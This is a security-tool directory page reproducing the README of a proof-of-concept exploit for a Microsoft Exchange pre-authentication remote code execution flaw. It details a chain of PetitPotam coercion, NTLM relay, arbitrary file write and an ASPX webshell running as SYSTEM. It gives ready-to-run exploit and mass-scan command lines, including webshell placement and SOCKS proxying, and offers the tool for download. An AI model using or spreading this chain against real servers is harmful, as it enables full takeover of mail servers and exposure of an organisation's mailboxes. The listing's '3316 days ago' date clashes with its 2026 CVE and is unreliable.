Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-62911-poc — CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE PoC | Scanner + Exploit | NTLM Relay → Webshell → SYSTEM | Kitploit
Tools/GitHubGitHub/c5z54/cve-2026-62911-poc
Privilege EscalationReconnaissanceVulnerability ScannersPayload GenerationExploitationLateral MovementWeb Application ExploitationInformation GatheringPenetration TestingRemote Access Tool
GitHub
3316 days agoNot yet reviewed
Share
c5z54/cve-2026-62911-poc

cve-2026-62911-poc

CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE PoC | Scanner + Exploit | NTLM Relay → Webshell → SYSTEM

View Repository

CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE

Pre-authentication Remote Code Execution in Microsoft Exchange Server via NTLM relay to the HTTP.sys-hosted MRSProxy WCF endpoint, which lacks Extended Protection for Authentication (EPA).

Also detects CVE-2026-96940 (CVSS 8.8) — privilege escalation allowing any authenticated user to read ALL mailboxes in the organization.

Attack Chain

┌─────────────┐  PetitPotam   ┌─────────────┐  NTLM Relay   ┌─────────────┐
│  Exchange A  │──────────────→│   Attacker   │──────────────→│  Exchange B  │
│  (trigger)   │  MS-EFSR      │   (relay)    │  MRSProxy     │  (target)    │
│              │  NTLM hash    │              │  HTTP.sys     │              │
└─────────────┘               └─────────────┘               └─────────────┘
                                                                    │
                                                          IMailbox_Config6()
                                                          filePath=shell.aspx
                                                                    │
                                                          IMailbox_Connect()
                                                          PSTSession.Open()
                                                                    │
                                                            ┌───────▼───────┐
                                                            │  ASPX Webshell │
                                                            │  NT AUTHORITY  │
                                                            │    \SYSTEM     │
                                                            └───────────────┘

Zero credentials required. PetitPotam triggers unauthenticated MS-EFSR coercion. The machine account NTLM hash is relayed to MRSProxy, which lacks channel binding (EPA). The ConfigPst file path injection writes an arbitrary file to disk — no extension validation.

Affected Versions

ProductVulnerablePatchedKB
Exchange 2016 CU23< 15.1.2507.7215.1.2507.72KB5121576
Exchange 2019 CU14< 15.2.1544.4315.2.1544.43KB5121575
Exchange 2019 CU15< 15.2.1748.4815.2.1748.48KB5121574
Exchange SE RTM< 15.2.2562.4515.2.2562.45KB5121573

Features

  • Scanner mode — safe vulnerability check without exploitation
    • MRSProxy HTTP.sys endpoint detection
    • Exchange version detection from headers
    • NTLM info leak (domain, hostname, FQDN, forest)
    • Multi-CVE mapping (CVE-2026-62911 + CVE-2026-96940)
    • Mass scan from file
    • JSON output for automation
  • Exploit mode — full chain: PetitPotam → NTLM relay → webshell
    • Pre-check before exploitation
    • Automatic webshell verification
    • SOCKS proxy support
    • Custom webshell paths

Installation

git clone https://github.com/c5z54/cve-2026-62911-poc.git
cd cve-2026-62911-poc
pip install -r requirements.txt

Usage

Scan Mode (Safe — No Exploitation)

# Single target
python3 poc.py --scan -t mail.target.com

# Mass scan from file
python3 poc.py --scan -f targets.txt

# JSON output
python3 poc.py --scan -t mail.target.com --json

# Save results
python3 poc.py --scan -f targets.txt --json -o results.json

Example output:

  mail.target.com
  MRSProxy: HTTP 401 Server=Microsoft-HTTPAPI/2.0 [VULNERABLE]
  Version:  15.1.2507.39
  Domain:   CORP.TARGET.COM
  Hostname: EXCH01.CORP.TARGET.COM
  [!] CVE-2026-62911 (CVSS 8.0) — Pre-auth NTLM relay RCE via MRSProxy (no EPA)
      Installed: 15.1.2507.39 | Patch: 15.1.2507.72 (KB5121576)
  [!] CVE-2026-96940 (CVSS 8.8) — Privilege escalation — read any mailbox in org
      Installed: 15.1.2507.39 | Patch: 15.1.2507.75 (KB5129958)

Exploit Mode

# Basic — two Exchange servers, zero credentials
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100

# With AD credentials for PetitPotam
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
    -u john -p 'P@ss123' -d CORP

# Custom webshell path
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
    --webshell-path 'C:\inetpub\wwwroot\aspnet_client\x.aspx'

# Through SOCKS proxy
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
    --socks 127.0.0.1 --socks-port 10800

# Verify webshell
python3 poc.py --verify-only -t 10.0.0.10

Requirements

  • Python 3.8+
  • impacket >= 0.11.0 (exploit mode only — scanner uses stdlib)
  • pysocks (optional — SOCKS proxy support)

How It Works

  1. PetitPotam calls EfsRpcOpenFileRaw (MS-EFSR, opnum 0) on the trigger Exchange server with a UNC path pointing to the attacker. The server authenticates to the attacker with its machine account NTLM hash.

  2. NTLM Relay captures the Type 1/2/3 NTLM messages over SMB and forwards them to the target Exchange's MRSProxy endpoint over HTTPS. Because MRSProxy on HTTP.sys lacks EPA (channel binding), the relay succeeds.

  3. WCF Exploitation uses the authenticated session to call IMailbox_Config6 with a filePath pointing to a .aspx webshell location. The PstDestinationMailbox.ConfigPst() method does not validate the file extension.

  4. File Write is triggered by IMailbox_Connect(), which calls PSTSession.Open(), writing the attacker's content to disk.

  5. Webshell executes as NT AUTHORITY\SYSTEM — full server compromise.

References

  • Analysis of Exchange Server Pre-Auth RCE — VRed / MB Bank
  • Orange Tsai / DEVCORE — Pwn2Own Berlin 2026
  • Microsoft Security Advisory: CVE-2026-62911
  • PetitPotam (MS-EFSR)

Credits

  • Vulnerability discovery: Orange Tsai / DEVCORE — Pwn2Own Berlin 2026
  • Original PoC: hypnguyen1209
  • Technical analysis: VRed / MB Bank
  • This tool: c5z5 — independent reimplementation with scanner, NTLM leak, version detection, mass scan, and JSON output

Disclaimer

This tool is provided for authorized security testing and research only. Use it only against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse.

Author

c5z5 — HackerOne | GitHub

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →